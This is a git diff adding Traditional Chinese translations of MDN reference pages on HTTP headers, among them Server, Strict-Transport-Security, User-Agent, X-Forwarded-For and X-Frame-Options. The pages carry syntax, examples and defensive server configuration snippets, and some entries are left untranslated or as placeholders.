+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
+</dl>
+
+<h2 id="Response_context">Response context</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>Lists the set of HTTP request methods support by a resource.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>Contains information about the software used by the origin server to handle the request.</dd>
+</dl>
+
+<h2 id="Range_requests">Range requests</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>Indicates the part of a document that the server should return.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>Indicates where in a full body message a partial message belongs.</dd>
+</dl>
+
+<h2 id="Security">Security</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>Controls resources the user agent is allowed to load for a given page.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>Force communication using HTTPS instead of HTTP.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>Enables cross-site scripting filtering.</dd>
+</dl>
+
+<h2 id="Server-sent_events">Server-sent events</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Transfer_coding">Transfer coding</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>Specifies the transfer encodings the user agent is willing to accept.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>Allows the sender to include additional fields at the end of chunked message.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Other">Other</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>Contains the date and time at which the message was originated.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>Indicates how long the user agent should wait before making a follow-up request.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd>This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, <a href="https://www.rfc-editor.org/standards">visit this Internet Standards reference</a>, which is updated daily.  The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field standard is RFC 7230, section 6.7</a>.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Niether party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/server/index.html b/files/zh-tw/web/http/headers/server/index.html
new file mode 100644
index 0000000000..26d1e1fe90
--- /dev/null
+++ b/files/zh-tw/web/http/headers/server/index.html
@@ -0,0 +1,73 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><code><strong>Server</strong></code> 標頭描述處理請求的伺服器軟體資訊：也就是產生回應的伺服器資訊。</span></p>
+
+<div class="blockIndicator warning">
+<p>請避免 Server 值的資訊過度冗長與詳盡，因為它們可能會洩漏實做細節、讓攻擊者容易找到已知安全漏洞並利用之。</p>
+</div>
+
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">標頭類型</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>否</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Server: &lt;product&gt;
+</pre>
+
+<h2 id="指令">指令</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>處理請求的軟體（或組件）名。語法通常與 {{HTTPHeader('User-Agent')}} 相似。</dd>
+</dl>
+
+<p>How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with {{HTTPHeader('Content-Encoding')}} combined with {{HTTPHeader('Range')}}.</p>
+
+<h2 id="示例">示例</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1)：語意化及內容</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/strict-transport-security/index.html b/files/zh-tw/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..28995d7517
--- /dev/null
+++ b/files/zh-tw/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,110 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong> 回應標頭（簡稱為 {{Glossary("HSTS")}}）告知瀏覽器應強制使用HTTPS以取代HTTP。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>以秒計算的時間，告知瀏覽器應該保持強制HTTPS存取的時間有多長。</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>若該標頭被聲明，則瀏覽器應該將強制使用HTTPS的狀態套用至該域名的所有子域。</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>參考 {{anch("Preloading Strict Transport Security")}}。 此非規範的一部份。</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>若是網站在被訪問時經由 HTTP 被重定向至 HTTPS，則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 http://www.foo.com/ 或是 foo.com 時，未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。</p>
+
+<p>HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊，並且應該將所有的 HTTP 請求自動轉換成 HTTPS。</p>
+
+<div class="note"><strong>Note:</strong> 瀏覽器將會忽略 HTTP 站點所回應的 <code>Strict-Transport-Security</code> 標頭，因為在 HTTP 連線下，該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求，唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。</div>
+
+<h3 id="一個範例情境">一個範例情境</h3>
+
+<p>你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單，不幸的是，你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時，實際上你連結的是黑客所偽造的網路銀行介面，現在，你的帳號密碼已經洩漏了。</p>
+
+<p>HSTS 可以處理這項問題，你只要曾經在安全的環境下連結到你的網路銀行，且該銀行啟用了 HSTS ，那你的瀏覽器將會知道僅使用 HTTPS 進行通訊，而不會接受黑客的重定向請求，HSTS 從中間人手上保護了你的安全。</p>
+
+<h3 id="瀏覽器如何處理它">瀏覽器如何處理它</h3>
+
+<p>當你首次經由 HTTPS 存取使用 HSTS 的網站時，你的瀏覽器將會記憶此一要求，在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。</p>
+
+<p>在 HSTS 標頭所指定的時間過期後，瀏覽器將不會自動將 HTTP 轉為 HTTPS。</p>
+
+<p><span class="tlid-translation translation" lang="zh-TW"><span title="">無論何時將Strict-Transport-Security標頭傳遞到瀏覽器，它都會更新該網站的到期時間，因此網站可以更新此一訊息並防止該聲明到期。</span> <span title="">如果有必要停用嚴格傳輸安全性，則將max-age設置為0（使用 HTTPS 連接）將立即使Strict-Transport-Security標頭過期，從而允許使用 HTTP 訪問。</span></span></p>
+
+<h2 id="Preloading_Strict_Transport_Security">Preloading Strict Transport Security</h2>
+
+<p>Google maintains <a href="https://hstspreload.org/">an HSTS preload service</a>. By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official.</p>
+
+<ul>
+ <li>Information regarding the HSTS preload list in Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Consultation of the Firefox HSTS preload list : <a href="https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP.</p>
+
+<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.md">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: {{interwiki("wikipedia", "HTTP Strict Transport Security")}}</li>
+ <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li>
+ <li><a href="/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts">Features restricted to secure contexts</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/user-agent/index.html b/files/zh-tw/web/http/headers/user-agent/index.html
new file mode 100644
index 0000000000..38bfe13cbf
--- /dev/null
+++ b/files/zh-tw/web/http/headers/user-agent/index.html
@@ -0,0 +1,146 @@
+---
+title: User-Agent
+slug: Web/HTTP/Headers/User-Agent
+translation_of: Web/HTTP/Headers/User-Agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">User-Agent 請求標頭（request header）含有能令網路協議同級層（peer）識別發出該<a href="/zh-TW/docs/Glossary/User_agent">用戶代理</a>請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。</span></p>
+
+<div class="note">
+<p>請讀讀<a href="/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent">透過用戶代理偵測瀏覽器</a>以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">標頭類型</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>否</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">User-Agent: &lt;product&gt; / &lt;product-version&gt; &lt;comment&gt;
+</pre>
+
+<p>瀏覽器常見格式：</p>
+
+<pre class="syntaxbox">User-Agent: Mozilla/5.0 (&lt;system-information&gt;) &lt;platform&gt; (&lt;platform-details&gt;) &lt;extensions&gt;</pre>
+
+<p>網路瀏覽器常用的格式：</p>
+
+<pre class="syntaxbox">User-Agent: Mozilla/&lt;version&gt; (&lt;system-information&gt;) &lt;platform&gt; (&lt;platform-details&gt;) &lt;extensions&gt;
+</pre>
+
+<h2 id="指令">指令</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>產品識別符：通常是名字或開發代號。</dd>
+ <dt>&lt;product-version&gt;</dt>
+ <dd>產品版本號。</dd>
+ <dt>&lt;comment&gt;</dt>
+ <dd>關於產品資訊的註解（如副產品訊息）。可能有、或沒有。</dd>
+</dl>
+
+<h2 id="Firefox_UA_字串">Firefox UA 字串</h2>
+
+<p>關於 Firefox 和基於 Gecko 的用戶代理字串，請參閱 <a href="/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用戶代理字串參考</a>。Firefox 用戶代理字串大略上分成以下四個部份：</p>
+
+<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p>
+
+<ol>
+ <li><code>Mozilla/5.0</code> is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it.</li>
+ <li><strong><em>platform</em></strong> describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. <a href="/en-US/docs/Glossary/Firefox_OS">Firefox OS</a> phones simply say <code>Mobile</code> — the web is the platform. Note that <strong><em>platform</em></strong> can consist of multiple <code>"; "</code>-separated tokens. See below for further details and examples.</li>
+ <li><strong>rv:<em>geckoversion</em></strong> indicates the release version of Gecko (such as <em>"17.0"</em>). In recent browsers, <strong><em>geckoversion</em></strong> is the same as <strong><em>firefoxversion</em></strong>.</li>
+ <li><strong><em>Gecko/geckotrail</em></strong> indicates that the browser is based on <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>. (On Desktop, <em><strong>geckotrail</strong></em> is always the fixed string <code>20100101</code>.)</li>
+ <li><em><strong>Firefox/firefoxversion</strong></em> indicates the browser is Firefox, and provides the version (such as "<em>17.0"</em>).</li>
+</ol>
+
+<h3 id="示例">示例</h3>
+
+<pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0
+</pre>
+
+<h2 id="Chrome_用戶代理字串">Chrome 用戶代理字串</h2>
+
+<p>Chrome（或基於 Chromium/blink 引擎的瀏覽器）的用戶代理字串看起來像 Firefox。出於相容性的理由，它還會加上「KHTML, like Gecko」與「Safari」的字串。</p>
+
+<h3 id="字串">字串</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre>
+
+<h2 id="Opera_用戶代理字串">Opera 用戶代理字串</h2>
+
+<p>因為 Opera 瀏覽器的引擎也是基於 blink 的，所以語法也看起來也會很像。不過，還會加上「 OPR/&lt;version&gt;」一詞。</p>
+
+<h3 id="示例_2">示例</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre>
+
+<p>Opera 在使用 Presto 排版時的用戶代理字串</p>
+
+<pre class="no-line-numbers">Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
+Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1</pre>
+
+<h2 id="Safari_用戶代理字串">Safari 用戶代理字串</h2>
+
+<p>此例的 safari 用戶代理字串是攜帶版，所以會出現「Mobile」一詞。</p>
+
+<h3 id="示例_3">示例</h3>
+
+<pre>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</pre>
+
+<h2 id="Internet_Explorer_用戶代理字串">Internet Explorer 用戶代理字串</h2>
+
+<h3 id="示例_4">示例</h3>
+
+<pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre>
+
+<h2 id="網路爬蟲與機器人的用戶代理字串">網路爬蟲與機器人的用戶代理字串</h2>
+
+<h3 id="示例_5">示例</h3>
+
+<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC(7231, "User-Agent", "5.5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC(2616, "User-Agent", "14.43")}}</td>
+   <td>Hypertext Transfer Protocol -- HTTP/1.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.User-Agent")}}</p>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User-Agent detection, history and checklist</a></li>
+ <li><a href="/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用戶代理字串參考</a></li>
+ <li>
+  <p><a href="/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent">透過用戶代理偵測瀏覽器</a></p>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/x-forwarded-for/index.html b/files/zh-tw/web/http/headers/x-forwarded-for/index.html
new file mode 100644
index 0000000000..546a4ed60c
--- /dev/null
+++ b/files/zh-tw/web/http/headers/x-forwarded-for/index.html
@@ -0,0 +1,74 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Headers/X-Forwarded-For
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-For</code></strong> (XFF) 標頭是辨識用戶端透過 HTTP 代理或負載平衡 IP 位置來源的，事實上的標準。如果流量是在伺服器與用戶端中間擷取，伺服器日誌就只會代理或負載平衡的 IP 位置。如果要檢查用戶端的 IP 的原始來源，就會去檢查 <code>X-Forwarded-For</code> 請求標頭。</p>
+
+<p>這個標頭用於除錯、分析、產生與位置相關的內容、透過設計也洩漏部分隱私資訊，例如用戶端的 IP 位置。因此在部署此標頭時，必須考慮到用戶的隱私。</p>
+
+<p>此 HTTP 標頭的標準化版本為 {{HTTPHeader("Forwarded")}} 標頭。</p>
+
+<p><code>X-Forwarded-For</code> 也是個說明 email-message 是從哪個帳戶轉發的 email-header。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">標頭屬性</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="指令">指令</h2>
+
+<dl>
+ <dt>&lt;client&gt;</dt>
+ <dd>用戶端的 IP 位置</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>如果請求用上了多個代理，則列出每個後續代理的 IP 地址。也就是說，最右邊的 IP 位置，是最新代理的 IP 位置；最左邊的 IP 位置，是用戶端原始來源的 IP 位置。</dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>其他非標準變體：</p>
+
+<pre># Used for some Google services
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="規範">規範</h2>
+
+<p>任何版本都沒有被標準化。標準化版本的標頭為 {{HTTPHeader("Forwarded")}}。</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-For")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/headers/x-frame-options/index.html b/files/zh-tw/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..b19ddffe26
--- /dev/null
+++ b/files/zh-tw/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,146 @@
+---
+title: X-Frame-Options 回應標頭
+slug: Web/HTTP/Headers/X-Frame-Options
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<p>{{ gecko_minversion_header("2.0") }}</p>
+
+<div class="note">
+<div class="syntaxbox"><strong>Note: </strong>CSP Level 2 的 <a href="/en-US/docs/Security/CSP/CSP_policy_directives#frame-ancestors">frame-ancestors</a> 指令標準雖然已經取代了非標準的 X-Frame-Options，而自 {{Gecko("4.0")}} 起也開始支援  frame-ancestors 指令，但因為並非所有瀏覽器都支援 frame-ancestors，所以 支援度較廣的 X-Frame-Options 還是可以和  CSP 一起採用。</div>
+</div>
+
+<p><span style="line-height: 1.5;">X-Frame-Options </span><a href="/en/HTTP" style="line-height: 1.5;" title="en/HTTP">HTTP</a><span style="line-height: 1.5;"> 回應標頭 (header) 用來指示文件是否能夠載入 {{ HTMLElement("frame") }}, {{ HTMLElement("iframe") }} 以及 {{ HTMLElement("object") }}，網站可以利用 </span><span style="line-height: 19.0909080505371px;">X-Frame-Options 來確保本身內容不會遭惡意嵌入道其他網站、避免 </span><span style="line-height: 1.5;">clickjacking 攻擊</span></p>
+
+<h2 id="使用_X-Frame-Options">使用 X-Frame-Options</h2>
+
+<p>共有三種值：</p>
+
+<dl>
+ <dt><code>DENY</code></dt>
+ <dd>表示文件無論如何都不能被嵌入到 frame 中，即使是自家網站也不行。</dd>
+ <dt><code>SAMEORIGIN</code></dt>
+ <dd>唯有當符合<a href="/zh-TW/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">同源政策</a>下，才能<span style="line-height: 19.0909080505371px;">被嵌入到 frame 中。</span></dd>
+ <dt><code>ALLOW-FROM <em>uri</em></code></dt>
+ <dd>唯有列表許可的 URI 才能<span style="line-height: 19.0909080505371px;">嵌入到 frame 中。</span></dd>
+</dl>
+
+<h3 id="設定_Apache">設定 Apache</h3>
+
+<p>請加入以下指令到網站<span style="line-height: 19.0909080505371px;">組態設定檔</span>：</p>
+
+<pre>Header always append X-Frame-Options SAMEORIGIN
+</pre>
+
+<h3 id="設定_nginx">設定 nginx</h3>
+
+<p><span style="line-height: 19.0909080505371px;">請加入以下指令到</span> http, server 或 location 組態設定檔:</p>
+
+<pre><code>add_header X-Frame-Options </code>SAMEORIGIN<code>;</code>
+</pre>
+
+<h3 id="設定_IIS">設定 IIS</h3>
+
+<p><span style="line-height: 19.0909080505371px;">請加入以下指令到網站的</span> Web.config 檔:</p>
+
+<pre><code>&lt;system.webServer&gt;
+  ...
+
+  &lt;httpProtocol&gt;
+    &lt;customHeaders&gt;
+      &lt;add name="X-Frame-Options" value="SAMEORIGIN" /&gt;
+    &lt;/customHeaders&gt;
+  &lt;/httpProtocol&gt;
+
+  ...
+&lt;/system.webServer&gt;</code>
+</pre>
+
+<h3 id="設定_HAProxy">設定 HAProxy</h3>
+
+<p><span style="line-height: 19.0909080505371px;">請加入以下指令到</span> frontend, listen, 或 backend <span style="line-height: 19.0909080505371px;">組態設定檔</span>:</p>
+
+<pre>rspadd X-Frame-Options:\ SAMEORIGIN
+</pre>
+
+<div class="note">
+<p><strong>Note:  </strong>設定 Meta tag 是無效的，像是 &lt;meta http-equiv="X-Frame-Options" content="deny"&gt; 便沒有任何效果，只有透過設定 HTTP header 才有效果，請勿採用。</p>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="結論">結論</h2>
+
+<p>當載入一個 X-Frame-Options 不允許的網站到 iframe 中， Firefox 會顯示about:blank 的空白頁面，甚至某些狀況還會顯示錯誤訊息。</p>
+
